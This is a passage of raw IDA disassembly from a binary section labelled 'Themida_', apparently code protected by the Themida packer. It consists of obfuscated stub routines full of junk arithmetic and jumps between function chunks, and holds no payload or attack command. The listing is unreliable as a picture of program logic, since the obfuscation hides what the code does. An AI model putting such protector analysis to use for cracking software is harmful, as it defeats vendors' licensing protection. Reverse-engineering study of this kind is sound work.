; END OF FUNCTION CHUNK	FOR sub_592E1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597B1B:				; CODE XREF: sub_59390B+698Bj
		add	edx, 4
		add	edx, 4
		jmp	loc_59C4C7
; ---------------------------------------------------------------------------


loc_597B2C:				; CODE XREF: sub_59390B-1611j
		sub	edx, 55924812h
		jmp	loc_5984F0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597B37:				; DATA XREF: Themida_:005907D0o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_5926EB
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A158A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BF22


loc_597B4C:				; CODE XREF: sub_59BF22-96FDj
		mov	eax, 3462217Ah
		and	ebx, eax
		pop	eax
		push	esi
		push	edx
		mov	edx, 5B362846h
		shl	edx, 1
		xor	edx, 967205F7h
		mov	esi, edx
		jmp	loc_593B0D
; END OF FUNCTION CHUNK	FOR sub_59BF22
; ---------------------------------------------------------------------------


loc_597B6A:				; CODE XREF: Themida_:0059297Ej
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_59C5B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_597B7A:				; CODE XREF: sub_5A23FB+2CA8j
		pop	esp
		or	eax, eax
		jnz	sub_59CAFB
		push	1
		push	dword ptr [esp+0]
		mov	edx, [esp+0]
		add	esp, 4
		push	edi
		push	48A3h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	edi
		push	eax
		push	6EE010FBh
		pop	eax
		push	eax
		not	[esp+8+var_8]
		pop	eax
		push	edx
		mov	edx, 5E0B17F7h
		jmp	loc_597F94
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------


loc_597BB9:				; CODE XREF: Themida_:005A1198j
		dec	bh
		shl	bh, 8
		push	edx
		mov	dl, 45h
		or	bh, dl
		pop	edx
		sub	bh, 38h
		shr	bh, 8
		sub	bh, 0FFh
		not	bh
		jmp	loc_5A4F88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BDD3


loc_597BD4:				; CODE XREF: sub_59BDD3+833j
		add	ecx, 3F15BEEh
		sub	ecx, 3B842190h
		sub	ecx, 20817186h
		pop	esi
		jmp	sub_596FDC
; END OF FUNCTION CHUNK	FOR sub_59BDD3
; ---------------------------------------------------------------------------


loc_597BEC:				; CODE XREF: Themida_:005A267Aj
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, eax
		sub	edx, 4A464B42h
		add	edx, 29D02B23h
		push	ebp
		mov	ebp, 689475Ch
		sub	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	552Eh
		mov	[esp], edi
		jmp	loc_59E48C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597C1E:				; CODE XREF: sub_59390B+11DDEj
		mov	dl, ah
		mov	cl, dl
		pop	edx
		pop	eax
		mov	edx, [esp-20h+arg_18]
		add	esp, 4
		jmp	loc_5A220F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_597C32:				; CODE XREF: sub_59CFD4-A886j
		sub	ecx, 0BE762BC8h
		sub	esi, 48075024h
		add	esi, ecx
		jmp	loc_597408
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_597C45:				; CODE XREF: Themida_:0059F4E2j
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_59904A
; ---------------------------------------------------------------------------


loc_597C58:				; CODE XREF: Themida_:0059A111j
		mov	ebp, 3D4F3A66h
		xor	[esp+4], ebp
		pop	ebp
		mov	esi, [esp]
		jmp	loc_59806D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597C6A:				; CODE XREF: sub_59390B+3E0Bj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-8+arg_0], esi
		push	632Dh
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	esi
		jmp	loc_597EDB
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_597C8E	proc near		; CODE XREF: sub_59390B+120B1j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00591FF6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B3EC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059D122 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A17AD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1F9F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2F8E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A475F SIZE 00000009 BYTES

		push	ebp
		mov	ebp, 4ABA2F58h
		inc	ebp
		dec	ebp
		add	ebp, 5D6541EDh
		jmp	loc_591FF6
sub_597C8E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5999A4


loc_597CA1:				; CODE XREF: sub_5999A4+29DCj
		sub	eax, 59B87B62h
		mov	ebx, [esp+4+var_4]
		jmp	loc_5A48A2
; END OF FUNCTION CHUNK	FOR sub_5999A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597CAE:				; CODE XREF: sub_59390B+242Aj
		push	1908h
		jmp	loc_598D5A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597CB8:				; CODE XREF: Themida_:005A4C0Bj
		mov	cl, 0CEh
		add	al, cl
		mov	cx, [esp]
		jmp	loc_59EF88
; ---------------------------------------------------------------------------


loc_597CC5:				; CODE XREF: Themida_:005A2BB4j
		pop	esi
		sub	eax, 33683A3Eh
		shr	eax, 6
		xor	eax, 5EDDAC43h
		add	ebp, 79431B5Ah
		sub	ebp, eax
		sub	ebp, 79431B5Ah
		pop	eax
		sub	ebp, 0A2BA09AEh
		jmp	loc_5930B2
; ---------------------------------------------------------------------------


loc_597CED:				; CODE XREF: Themida_:0059C54Dj
		shr	edi, 2
		shl	edi, 2
		add	edi, 0A72EB43h
		sub	esi, edi
		pop	edi
		pop	ebp
		add	esi, 4
		jmp	loc_59FCDA
; ---------------------------------------------------------------------------


loc_597D05:				; CODE XREF: Themida_:00596220j
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5A33B1
; ---------------------------------------------------------------------------


loc_597D16:				; CODE XREF: Themida_:00591251j
		pop	eax
		push	eax
		jmp	loc_5A30BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597D1D:				; CODE XREF: sub_59390B+7B50j
		pop	esi
		sub	edi, ecx
		pop	ecx
		push	[esp-1Ch+arg_14]
		mov	esi, [esp-18h+arg_10]
		jmp	loc_59F9AD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597D2C:				; CODE XREF: Themida_:00597275j
		sub	eax, 554D2E0Bh
		movzx	ax, byte ptr [eax]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	1092h
		mov	[esp], esi
		jmp	loc_59C8DB
; ---------------------------------------------------------------------------


loc_597D4D:				; CODE XREF: Themida_:00595888j
		push	esp
		pop	esi
		push	67C0h
		mov	[esp], eax
		mov	eax, 55A32E08h
		push	ebx
		sub	esp, 4
		jmp	loc_5922E7
; ---------------------------------------------------------------------------


loc_597D68:				; CODE XREF: Themida_:0059CE77j
		pop	ecx
		sub	edx, 569472CDh
		add	edx, ebp
		add	edx, 569472CDh
		sub	edx, 571B7128h
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5945D4
; ---------------------------------------------------------------------------


loc_597D96:				; CODE XREF: Themida_:005A584Bj
		add	cl, 0F2h
		jmp	loc_5A2DF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_597D9E:				; CODE XREF: sub_59EA40-2193j
		not	[esp+0Ch+var_C]
		pop	edx
		push	esi
		mov	esi, 3AA10FD9h
		sub	edx, esi
		jmp	loc_5A209E
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------


loc_597DAF:				; CODE XREF: Themida_:0059F0E2j
		push	61F92E46h
		pop	ebp
		jmp	loc_596F1D
; ---------------------------------------------------------------------------


loc_597DBA:				; CODE XREF: Themida_:0059A78Aj
		sub	ebx, edi
		sub	ebx, 3E67498Ah
		pop	edi
		jmp	loc_594CD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_597DC8:				; CODE XREF: sub_5A0BFE-1305j
		push	esi
		xor	[esp-4+arg_0], 791F11BCh
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		xor	edx, 791F11BCh
		mov	ebp, edx
		pop	edx
		pop	esi
		inc	ebp
		shl	ebp, 4
		inc	ebp
		sub	esp, 4
		jmp	loc_5A0A17
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A905


loc_597DF0:				; CODE XREF: sub_59A905-8D6Cj
		pop	esi
		jmp	loc_59E5ED
; END OF FUNCTION CHUNK	FOR sub_59A905
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_597DF6:				; CODE XREF: sub_59CAFB-6C93j
		pop	esp
		pop	eax
		and	eax, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		or	eax, eax
		jz	loc_5A15E6
		push	1759h
		mov	[esp+4+var_4], ecx
		mov	ecx, 28h
		jmp	sub_5933BB
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_597E1D:				; CODE XREF: Themida_:005A3B52j
		add	esp, 4
		push	ecx
		mov	ch, dl
		mov	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59ED89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597E3C:				; CODE XREF: sub_59390B+10789j
		add	eax, 4
		sub	eax, 4
		jmp	loc_592997
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597E49:				; CODE XREF: Themida_:005A400Ej
		push	edi
		push	edx
		push	46F434C4h
		pop	edx
		sub	edx, 2C577DBEh
		jmp	loc_59AB71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597E5C:				; CODE XREF: sub_59390B+770j
		push	[esp+8+var_4]
		pop	ebp
		pop	[esp+8+var_8]
		not	ebp
		xchg	ebp, [esp+4+var_4]
		pop	eax
		xchg	eax, ebp
		not	ebp
		push	eax
		jmp	sub_59605F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597E73:				; CODE XREF: Themida_:0059EF28j
		pop	ebx
		push	esi
		push	777Eh
		mov	[esp], edi
		push	43F753CCh
		pop	edi
		jmp	loc_5A1962
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_597E88:				; CODE XREF: sub_594A8D+ECF9j
		push	eax
		mov	eax, 3AAC4A40h
		add	eax, 711F0691h
		shl	eax, 4
		sub	eax, 827BD043h
		or	esi, eax
		pop	eax
		jmp	loc_59A3DD
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595941


loc_597EA3:				; CODE XREF: sub_595941+A3F3j
		push	4
		jmp	loc_591DBE
; END OF FUNCTION CHUNK	FOR sub_595941
; ---------------------------------------------------------------------------


loc_597EAD:				; CODE XREF: Themida_:00591ABAj
		not	edi
		shr	edi, 8
		jmp	loc_5A09C2
; ---------------------------------------------------------------------------


loc_597EB7:				; CODE XREF: Themida_:00594630j
		not	edx
		xchg	eax, edx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5A2298
; ---------------------------------------------------------------------------


loc_597ECB:				; CODE XREF: Themida_:0059C209j
		push	eax
		mov	eax, 4
		jmp	loc_59BCBC
; ---------------------------------------------------------------------------


loc_597ED6:				; CODE XREF: Themida_:0059E125j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597EDB:				; CODE XREF: sub_59390B+437Ej
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, 6B5B3F04h
		add	esi, ebx
		push	ebx
		jmp	sub_5A0D58
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597EF5:				; CODE XREF: Themida_:005A3170j
		push	ebx
		mov	ebx, 0C622D55h
		add	ebx, 625A2069h
		push	edi
		mov	edi, 159C681Bh
		and	edi, 2D872E59h
		or	edi, 7C8F368Fh
		jmp	loc_5A342B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964B7


loc_597F18:				; CODE XREF: sub_5964B7-1BA8j
		add	ebx, 247A56EFh
		shl	ebx, 8
		sub	ebx, 0FA8299FEh
		sub	ebp, ebx
		pop	ebx
		xor	ebp, [esp+8+var_8]
		xor	[esp+8+var_8], ebp
		jmp	loc_5947EA
; ---------------------------------------------------------------------------


loc_597F35:				; CODE XREF: sub_5964B7+84EBj
		pop	edi
		add	[esp+10h+var_8], 5E6C39B5h
		jmp	loc_594A06
; END OF FUNCTION CHUNK	FOR sub_5964B7
; ---------------------------------------------------------------------------


loc_597F43:				; CODE XREF: Themida_:0059139Cj
		push	2671h
		jmp	loc_5A16C8
; ---------------------------------------------------------------------------


loc_597F4D:				; CODE XREF: Themida_:00599177j
		push	edi
		pop	esi
		jmp	loc_5A05D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597F54:				; CODE XREF: sub_59390B-1889j
		add	[esp-10h+arg_C], ecx
		pop	ecx
		mov	edi, [esp-14h+arg_C]
		add	esp, 4
		push	2078h
		mov	[esp-14h+arg_C], esi
		push	edx
		jmp	loc_593B88
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_597F6D:				; CODE XREF: sub_59FD45-4AB6j
		add	ebp, 0CE9E2FF2h
		not	ebp
		inc	ebp
		jmp	loc_595527
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_597F7B:				; CODE XREF: Themida_:005A4051j
		not	ecx
		jmp	loc_59EDA5
; ---------------------------------------------------------------------------


loc_597F82:				; CODE XREF: Themida_:005A3F47j
		xchg	ebx, edx
		push	74F4h
		mov	[esp], ebx
		xor	[esp], eax
		jmp	loc_591F4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_597F94:				; CODE XREF: sub_5A23FB-A847j
		push	6A86h
		mov	[esp+0Ch+var_C], eax
		mov	eax, 66BF5939h
		push	ebp
		mov	ebp, 0FF5502B9h
		sub	eax, 23D70941h
		sub	eax, ebp
		jmp	loc_5A2446
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------


loc_597FB3:				; CODE XREF: Themida_:005916B4j
		mov	[esp], edx
		mov	edx, 2F0947B8h
		add	edx, 4DD722FDh
		neg	edx
		xor	edx, 53226F8Fh
		inc	edx
		or	edx, 7A6F4376h
		jmp	loc_594BF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592CFC


loc_597FD5:				; CODE XREF: sub_592CFC+1j
		mov	bh, 8Bh
		inc	bh
		xor	bh, 0B9h
		jmp	loc_59D72D
; END OF FUNCTION CHUNK	FOR sub_592CFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_597FE1:				; CODE XREF: sub_59F53F-8F72j
		mov	eax, 26A8163Ah
		xor	edx, eax
		jmp	loc_59B138
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597FED:				; CODE XREF: sub_59390B+1138Bj
		push	[esp-10h+arg_8]
		pop	edi
		push	ebx
		jmp	loc_595154
; ---------------------------------------------------------------------------


loc_597FF7:				; CODE XREF: sub_59390B+D512j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	sub_59EA40
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598004:				; CODE XREF: Themida_:0059B04Dj
		or	edx, 17F35AA5h
		push	edx
		not	dword ptr [esp]
		pop	edx
		inc	edx
		push	ebp
		jmp	loc_5A01E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598016:				; CODE XREF: sub_59390B+8C23j
		mov	edi, 6C8A7B4Dh
		add	edi, 3F285295h
		shr	edi, 8
		add	edi, 93058FDh
		add	edi, 63064EB1h
		shl	edi, 4
		sub	edi, 0AE2DC3AFh
		xor	esi, edi
		jmp	loc_592CA1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598040:				; CODE XREF: Themida_:0059A1CAj
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_597A30
; ---------------------------------------------------------------------------


loc_598057:				; CODE XREF: Themida_:00591C3Fj
		sub	esp, 4
		mov	[esp], edi
		push	esi
		push	537F11BCh
		jmp	loc_5A334E
; ---------------------------------------------------------------------------


loc_598068:				; CODE XREF: Themida_:005A1D2Dj
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59806D:				; CODE XREF: Themida_:00597C65j
		push	edx
		jmp	loc_5A0308
; ---------------------------------------------------------------------------


loc_598073:				; CODE XREF: Themida_:0059E1E6j
		mov	edx, 395463E0h
		push	edx
		mov	edx, 395463E2h
		mov	eax, edx
		pop	edx
		add	eax, 3A1C5722h
		sub	eax, edx
		jmp	loc_59ECD9
; ---------------------------------------------------------------------------


loc_59808D:				; CODE XREF: Themida_:005961B9j
		and	ebx, 3ADD4650h
		dec	ebx
		xor	ebx, 3AD5464Bh
		add	esi, ebx
		pop	ebx
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		push	small 1332h
		mov	[esp], bx
		jmp	loc_5928D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5980B1:				; CODE XREF: sub_59390B+A2Aj
		push	dx
		mov	dl, 0D7h
		sub	bh, dl
		pop	dx
		sub	dh, bh
		pop	ebx
		push	ax
		mov	ah, 0C6h
		sub	dh, ah
		jmp	loc_5A10E8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5980C7:				; CODE XREF: sub_59FD45+1E79j
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		and	ebx, esi
		jmp	loc_592155
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_5980DA:				; CODE XREF: Themida_:0059B410j
		add	ecx, ebx
		add	ecx, 4FA54DFh
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A4859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5980F5:				; CODE XREF: sub_59390B+10977j
		push	edi
		mov	edi, 4221171Eh
		sub	esi, edi
		pop	edi
		mov	ebp, esi
		jmp	loc_59CC50
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5950DF


loc_598105:				; CODE XREF: sub_5950DF-2334j
		sub	eax, 6BDB0949h
		pop	ebx
		jmp	loc_5A34D2
; END OF FUNCTION CHUNK	FOR sub_5950DF
; ---------------------------------------------------------------------------


loc_598110:				; CODE XREF: Themida_:00594627j
		pop	ebx
		add	dh, 7Dh
		sub	dh, 8Fh
		jmp	loc_593C6A
; ---------------------------------------------------------------------------


loc_59811C:				; CODE XREF: Themida_:0059C2B7j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edi, 2A7552F9h
		add	edi, 3CF34477h
		add	edi, ebp
		sub	edi, 3CF34477h
		sub	edi, 2A7552F9h
		jmp	loc_59E338
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59814B:				; CODE XREF: sub_59390B+B4DBj
		push	[esp+10h+var_10]
		jmp	loc_5A585A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598153:				; CODE XREF: Themida_:0059C89Fj
		xor	ebp, 34BB40AAh
		mov	edi, ebp
		mov	ebp, [esp]
		jmp	loc_594BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5950DF


loc_598163:				; CODE XREF: sub_5950DF+88F2j
		sub	eax, 86969685h
		add	edi, 12F307B8h
		add	edi, eax
		sub	edi, 12F307B8h
		pop	eax
		add	edi, 4
		xchg	edi, [esp-4+arg_0]
		jmp	loc_59455A
; END OF FUNCTION CHUNK	FOR sub_5950DF
; ---------------------------------------------------------------------------


loc_598185:				; CODE XREF: Themida_:005A3E25j
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5A1A58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591745


loc_598190:				; CODE XREF: sub_591745+10346j
		not	ebp
		sub	ebp, 39C6EF81h
		or	edx, ebp
		mov	ebp, [esp+8+var_8]
		jmp	loc_59A6A4
; END OF FUNCTION CHUNK	FOR sub_591745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5981A2:				; CODE XREF: sub_59390B+95E4j
		add	esp, 4
		jmp	loc_5A31A1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FA27


loc_5981AD:				; CODE XREF: sub_59FA27-480Bj
		sub	edi, 4F0102ABh
		jmp	loc_5A1DD6
; END OF FUNCTION CHUNK	FOR sub_59FA27
; ---------------------------------------------------------------------------


loc_5981B8:				; CODE XREF: Themida_:005965A0j
		add	esp, 4
		add	esi, 2
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	3E14h
		mov	[esp], ecx
		mov	ecx, esp
		push	654Eh
		mov	[esp], edi
		push	4
		pop	edi
		add	ecx, edi
		mov	edi, [esp]
		push	ecx
		push	esp
		jmp	loc_5944B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5981F5:				; CODE XREF: sub_59390B+FCA9j
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], edx
		mov	edx, 4C22792Eh
		shl	edx, 5
		sub	edx, 0D322EC5h
		add	edx, 88E3090Fh
		mov	eax, edx
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		push	eax
		add	[esp+10h+var_10], 4DEC6C86h
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5A0EB8
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59822A	proc near		; DATA XREF: Themida_:005909ECo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00591212 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005943B2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005944C4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597517 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598DE9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059AAEC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D54A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059F99D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A1827 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2027 SIZE 00000014 BYTES

		mov	cx, [esp+0]
		push	eax
		mov	eax, esp
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 5D5341A2h
		xor	esi, 5D5341A6h
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edx
		mov	edx, 28900086h
		xor	edx, 6555057Ch
		sub	edx, 4D6A5B03h
		add	edx, 0FFA5550Dh
		push	ebx
		mov	ebx, 7F211449h
		or	ebx, 41AF6A2Ch
		xor	ebx, 329271C3h
		sub	ebx, 0F2B9F351h
		jmp	loc_59D54A
sub_59822A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_598283:				; CODE XREF: sub_591FE1+F7C7j
		push	dword ptr [esp+0]
		pop	edi
		push	ebp
		mov	ebp, esp
		jmp	loc_59E3B5
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59828F:				; CODE XREF: sub_59390B+808j
		xchg	eax, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], eax
		push	esp
		pop	eax
		push	ecx
		push	ebx
		mov	ebx, 4
		jmp	loc_5A5343
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5982A4:				; CODE XREF: Themida_:0059469Cj
		pop	dword ptr [esp]
		push	edi
		jmp	loc_5A4122
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5982AD:				; CODE XREF: sub_59390B-802j
		push	ecx
		push	edx
		push	27F217D7h
		pop	edx
		sub	edx, 1D027042h
		xor	edx, 2640F109h
		push	esi
		mov	esi, edx
		mov	ecx, esi
		pop	esi
		pop	edx
		jmp	loc_59FE25
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5982CD:				; CODE XREF: Themida_:00594F24j
		mov	ecx, 6CBE62D1h
		add	ecx, 7A2756AAh
		shl	ecx, 5
		shr	ecx, 4
		sub	ecx, 49C76FC3h
		push	edi
		mov	edi, 61E3C2B7h
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, ecx
		pop	ecx
		push	esi
		sub	dword ptr [esp], 540D78FAh
		pop	ebx
		add	ebx, 540D78FAh
		pop	esi
		add	ebx, edi
		xor	dword ptr [ebx], 8C5857EFh
		pop	ebx
		push	472Ch
		mov	[esp], esi
		push	0EE72D9Dh
		pop	esi
		add	esi, 19913018h
		jmp	loc_59A613
; ---------------------------------------------------------------------------


loc_598327:				; CODE XREF: Themida_:005937EFj
		add	ebp, edi
		pop	edi
		sub	ebp, 633847FAh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_598AB7
; ---------------------------------------------------------------------------


loc_59833E:				; CODE XREF: Themida_:005932A2j
		push	edx
		push	5437h
		mov	[esp], ebx
		jmp	loc_59FF51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59834C:				; CODE XREF: sub_59390B+F9D8j
		mov	[esp+0], ebx
		mov	ebx, 17F7740h
		jmp	loc_590F12
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598359:				; CODE XREF: Themida_:00598C07j
		add	ebx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 14BF68F9h
		jmp	loc_5912B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59837C:				; CODE XREF: sub_59E918+369Bj
		push	ax
		jmp	loc_59FEE2
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_598383:				; CODE XREF: Themida_:0059F6C5j
		inc	esi
		jmp	loc_5A302F
; ---------------------------------------------------------------------------


loc_598389:				; CODE XREF: Themida_:005A42F8j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_59569B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_5983AC:				; CODE XREF: sub_59654E+143Bj
		push	0B38h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	edx
		jmp	sub_590BDF
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A25D


loc_5983BE:				; CODE XREF: sub_59A25D-6CF9j
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59A25D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_5983C3:				; CODE XREF: sub_591FC5+4ED6j
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		xor	al, bl
		mov	ebx, [esp+0]
		add	esp, 4
